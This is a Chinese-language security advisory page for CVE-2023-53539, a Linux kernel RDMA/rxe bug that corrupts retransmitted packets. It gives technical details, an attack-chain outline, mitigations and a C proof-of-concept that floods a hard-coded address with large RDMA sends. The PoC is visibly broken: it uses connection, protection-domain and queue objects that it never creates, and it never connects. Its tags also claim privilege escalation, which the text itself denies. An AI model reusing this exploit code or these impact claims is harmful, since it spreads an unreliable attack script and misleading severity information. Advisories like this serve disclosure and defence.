IPBUF安全漏洞报告
English
CVE-2023-53539 CVSS 5.5 中危

CVE-2023-53539 Linux内核RDMA/rxe请求者状态保存不完整漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53539
漏洞类型
状态保存不完整/数据损坏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (RDMA/rxe子系统)

相关标签

Linux KernelRDMArxe状态保存缺陷数据损坏本地提权可用性影响内核漏洞CVE-2023-53539

漏洞概述

CVE-2023-53539是Linux内核中RDMA(远程直接内存访问)rxe(RDMA over Ethernet)驱动中的一个状态保存不完整漏洞。该漏洞位于rxe_requester()函数中,当发送数据包在IP层被丢弃时,rxe_xmit_packet()调用会返回-EAGAIN错误。为了实现重传机制,内核设计了在数据包发送前保存wqe(工作队列元素)状态、发送失败后恢复状态的逻辑。然而,保存和恢复状态的例程遗漏了wqe中一个重要的变量状态——dma结构体(用于处理sge表的DMA地址映射)。更关键的是,状态保存操作并未在构建数据包之前完成,而构建数据包的过程本身会修改dma结构体。在高压力测试场景下,当多个QP(队列对)在快速节点上向慢速节点发送大消息时,会出现数据包被丢弃的情况。由于dma结构体未被正确恢复,重传的数据包会发生损坏。该漏洞的CVSS评分为5.5,属于中等严重等级。虽然该漏洞本身不会直接导致权限提升或信息泄露,但可能导致系统可用性受到影响,造成数据传输错误或服务异常。该漏洞影响本地用户,需要低权限即可触发,无需用户交互,主要影响系统的可用性。

技术细节

从技术层面分析,该漏洞的根本原因在于rxe_requester()函数中状态保存与恢复机制的设计缺陷。具体技术细节如下:

1. **触发路径**:当RDMA发送操作通过rxe_requester()函数处理时,数据包通过IP层进行传输。在网络拥塞或目标节点处理能力不足的情况下,IP层可能丢弃数据包,导致rxe_xmit_packet()返回-EAGAIN错误。

2. **状态保存缺陷**:为支持重传机制,内核在发送数据包前需要保存wqe的完整状态。然而,保存函数仅保存了部分状态变量,遗漏了dma结构体。dma结构体负责跟踪sge(Scatter-Gather Element)表的处理进度,包含当前处理的DMA地址、长度等关键信息。

3. **时序问题**:状态保存操作在数据包构建之后执行,而构建数据包的过程会修改dma结构体(如更新已处理的字节数)。这意味着即使保存了dma状态,保存的也是已经被修改后的状态,而非原始状态。

4. **数据损坏机制**:当-EAGAIN错误触发重传时,系统使用保存的状态恢复wqe。由于dma结构体未被正确恢复,重传的数据包会从错误的sge位置开始读取数据,导致数据包内容损坏。

5. **利用条件**:攻击者需要本地访问权限(低权限即可),通过创建大量QP并向目标节点发送大消息,可以触发数据包丢弃,进而导致重传数据包损坏。

6. **影响范围**:该漏洞主要影响系统可用性,可能导致RDMA通信失败、数据传输错误,在关键业务场景下可能造成服务中断。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要在目标系统上拥有本地访问权限(低权限即可),能够创建和使用RDMA设备。
STEP 2
步骤2:创建大量QP
攻击者通过RDMA API创建大量的队列对(QP),并与远程节点建立连接,以增加网络负载。
STEP 3
步骤3:发送大消息
通过创建的QP向目标节点发送大尺寸消息(如1MB以上),使IP层在高负载下丢弃数据包。
STEP 4
步骤4:触发-EAGAIN错误
当数据包被IP层丢弃时,rxe_xmit_packet()返回-EAGAIN错误,触发重传机制。
STEP 5
步骤5:状态恢复失败
由于dma结构体未被正确保存和恢复,重传的数据包从错误的sge位置读取数据,导致数据包损坏。
STEP 6
步骤6:影响可用性
损坏的数据包导致RDMA通信失败,可能造成服务中断或数据传输错误,影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53539 PoC - Trigger corrupted retransmit in RDMA/rxe // This PoC demonstrates how to trigger the vulnerability by creating // multiple QPs and sending large messages to stress the rxe_requester #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <rdma/rdma_cma.h> #include <rdma/rdma_verbs.h> #include <infiniband/verbs.h> #define NUM_QPS 64 #define MSG_SIZE (1024 * 1024) // 1MB large messages #define SERVER_ADDR "192.168.1.100" #define PORT 4791 struct rdma_resources { struct rdma_cm_id *cm_id; struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_qp *qp; struct ibv_mr *mr; void *buf; }; // Setup RDMA connection static int setup_qp(struct rdma_resources *res) { struct rdma_cm_event *event; struct rdma_conn_param conn_param = {}; // Create event channel struct rdma_event_channel *ec = rdma_create_event_channel(); if (!ec) return -1; // Resolve address struct addrinfo *addr; getaddrinfo(SERVER_ADDR, NULL, NULL, &addr); struct sockaddr_in *sin = (struct sockaddr_in *)addr->ai_addr; sin->sin_port = htons(PORT); rdma_resolve_addr(res->cm_id, NULL, (struct sockaddr *)sin, 2000); rdma_get_cm_event(ec, &event); rdma_ack_cm_event(event); // Create QP struct ibv_qp_init_attr qp_attr = {}; qp_attr.qp_type = IBV_QPT_RC; qp_attr.send_cq = res->cq; qp_attr.recv_cq = res->cq; qp_attr.cap.max_send_wr = 10; qp_attr.cap.max_recv_wr = 10; qp_attr.cap.max_send_sge = 1; qp_attr.cap.max_recv_sge = 1; rdma_create_qp(res->cm_id, res->pd, &qp_attr); res->qp = res->cm_id->qp; // Register memory region res->buf = malloc(MSG_SIZE); memset(res->buf, 'A', MSG_SIZE); res->mr = rdma_reg_msgs(res->cm_id, res->buf, MSG_SIZE); return 0; } // Send large message to trigger packet drop and retransmit static void stress_send(struct rdma_resources *res) { struct ibv_sge sge; struct ibv_send_wr wr, *bad_wr; sge.addr = (uint64_t)res->buf; sge.length = MSG_SIZE; sge.lkey = res->mr->lkey; wr.sg_list = &sge; wr.num_sge = 1; wr.opcode = IBV_WR_SEND; wr.send_flags = IBV_SEND_SIGNALED; wr.next = NULL; // Send large message - may trigger IP layer drop ibv_post_send(res->qp, &wr, &bad_wr); } int main(int argc, char **argv) { struct rdma_resources res[NUM_QPS]; printf("CVE-2023-53539 PoC - RDMA/rxe state corruption\n"); printf("Creating %d QPs and sending large messages...\n", NUM_QPS); // Setup multiple QPs to stress the rxe_requester for (int i = 0; i < NUM_QPS; i++) { if (setup_qp(&res[i]) < 0) { fprintf(stderr, "Failed to setup QP %d\n", i); continue; } // Send large messages concurrently stress_send(&res[i]); } printf("Stress test initiated. Check for corrupted retransmits.\n"); sleep(30); return 0; }

影响范围

Linux Kernel < 6.6 (受rxe_requester状态保存缺陷影响的所有版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过blacklist方式禁用rdma_rxe内核模块(echo "blacklist rdma_rxe" >> /etc/modprobe.d/blacklist.conf),如果系统不使用RDMA over Ethernet功能;2)限制本地用户对RDMA设备的访问权限,通过udev规则设置设备权限为root专用;3)使用cgroup或namespace隔离RDMA资源,限制普通用户创建大量QP的能力;4)监控网络流量,检测异常的RDMA通信模式;5)应用内核安全补丁或使用发行版提供的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表